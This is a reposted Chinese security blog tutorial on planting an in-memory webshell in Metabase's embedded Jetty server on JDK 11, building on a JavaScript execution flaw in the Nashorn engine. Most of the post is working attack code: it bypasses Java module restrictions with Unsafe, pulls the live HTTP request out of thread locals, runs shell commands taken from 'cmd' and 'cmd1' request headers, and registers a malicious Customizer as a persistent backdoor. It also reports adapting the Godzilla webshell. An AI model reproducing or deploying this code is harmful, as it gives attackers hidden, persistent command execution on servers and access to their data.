Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

admin 2024年10月7日18:51:01评论4 views字数 3721阅读12分24秒阅读模式

获黑客教程

免费&进群

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现
Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

前言

之前在Metabase 漏洞中实现了任意js脚本的执行,但是这并不优雅 每次都要发送完整的请求包.
而且Metabase 的部署方法比较特殊 它打包成了一个独立jar来运行. 这意味着不能通过简单的写文件的方法来获得较为持久化的webshell.
那么如何实现一个内存马呢?

回显马构造

目标环境是 java 11.0.19+7 中间件是 Jetty 11.0.14
sink点是nashorn js引擎 下面例子都是js nashorn代码的实现
因为js引擎没有传入http请求的上下文 所以只能通过遍历线程的方法来获取上下文.

var threadGroup = java.lang.Thread.currentThread().getThreadGroup();var field = ThreadGroup.class.getDeclaredField("threads");field.setAccessible(true);

发现setAccessible执行的时候抛出了异常

Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make field java.lang.Thread[] java.lang.ThreadGroup.threads accessible:module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts

Java 9 及其以上的版本中 模块化系统(module system)被引入。模块化系统增加了对模块的隔离和访问控制,强制要求模块显式地声明对其他模块的公开与开放。
因为这个新增的安全特性.所以不能像在低版本java一样简单的通过反射的方法来访问私有属性.
但是仍然可以使用unsafe来强制访问私有属性绕过这个限制.
sun.misc.Unsafe 是 JDK 原生提供的一个工具类,包含了危险的方法例如内存分配与回收、CAS 操作、类实例化、内存屏障等。正如其命名一样,由于其可以直接操作内存,执行底层系统调用,其提供的操作也是比较危险的。

function getunsafe() {  var unsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");  unsafe.setAccessible(true);  return unsafe.get(null);}

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

这里使用到其中了两个方法

//基于相对内存地址直接读取属性 不受所有修饰符限制public Object getObject(Object o, long offset)//获取非静态属性在它的类的内存分配中的位置(内存偏移地址)public long objectFieldOffset(Field f)

拿到unsafe之后就可以获取之前获取不到的threads了

var unsafe = getunsafe();var group = java.lang.Thread.currentThread().getThreadGroup();var f = group.getClass().getDeclaredField("threads");var threads = unsafe.getObject(group, unsafe.objectFieldOffset(f));

通过调试找到http上下文 _request的位置

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

((HttpChannelOverHttp((HttpConnection((Thread)this).threadLocals.table[x].value)._channel)._request
不难发现_request _response 可以通过如下方式获取:
((HttpConnection)((Thread)this).threadLocals.table[x].value).getHttpChannel().getResponse()
遍历threads 找到threadLocals->table->value 调用其中的getHttpChannel方法 就可以拿到我们需要的东西

for (var i = 0; i < threads.length; i++) {    try {        var f = threads[i].getClass().getDeclaredField("threadLocals");        var threadLocals = unsafe.getObject(threads[i], unsafe.objectFieldOffset(f));        var table = unsafe.getObject(threadLocals, unsafe.objectFieldOffset(threadLocals.getClass().getDeclaredField("table")));        for (var j = 0; j < table.length; j++) {            try {                var valueField = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));                var w = valueField.getHttpChannel().getResponse().getWriter();                w.println(exec(valueField.getHttpChannel().getRequest().getHeader("cmd")));                w.flush();            } catch(e) {}        }    } catch(e) {}}

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

到这里我们实现了一个回显马

内存马构造

那么如何实现一个内存马呢?
跟踪代码堆栈 发现在分发http请求的时候有这么一段代码

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

public boolean handle() {......this.dispatch(DispatcherType.REQUEST, () -> {Iterator var1 = this._configuration.getCustomizers().iterator();  do {if (!var1.hasNext()) {  this.getServer().handle(this);return; }      HttpConfiguration.Customizer customizer = (HttpConfiguration.Customizer)var1.next();      customizer.customize(this.getConnector(), this._configuration, this._request);  }     while(!this._request.isHandled());});......

jetty 有一类叫做 customizer 的handler 看起来和tomcat的Valve类似

HttpConfiguration.Customizer
允许自定义请求对象的接口 对于特定的 HTTP 连接器配置。与过滤器不同,定制器是在提交请求进行处理之前应用,并且可以特定于接收请求的连接器。
通常customizer执行以下任务:

  • 处理可能由代理或负载均衡器注入的标头字段。

  • 可能来自连接/连接器的设置属性,例如 SSL 会话 ID

  • 如果请求已被卸载,则允许将请求标记为安全或经过身份验证 并通过 header、cookie 或其他带外机制进行通信

  • 设置由连接器确定的请求属性/字段请求已收到

实现一个Customizer

var ProxyCustomizer = Java.extend(org.eclipse.jetty.server.HttpConfiguration.Customizer, {    customize: function(connector, channelConfig, request) {        if (request.getHeader("cmd1") != null) {            request.getResponse().getWriter().println(exec(request.getHeader("cmd1")));            request.setHandled(true);        }    }});

将自定义恶意Customizer添加到Configuration中

valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new ProxyCustomizer());

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

现在已经实现了一个简单的java内存马,之后照猫画虎魔改一下哥斯拉的马,稍微封装一下,这里留给读者自己动手实现 最后用unsafe绕过限制 加载class

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

成功实现哥斯拉内存马

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

原文地址: https://xz.aliyun.com/t/12792

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日18:51:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现https://cn-sec.com/archives/1967118.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息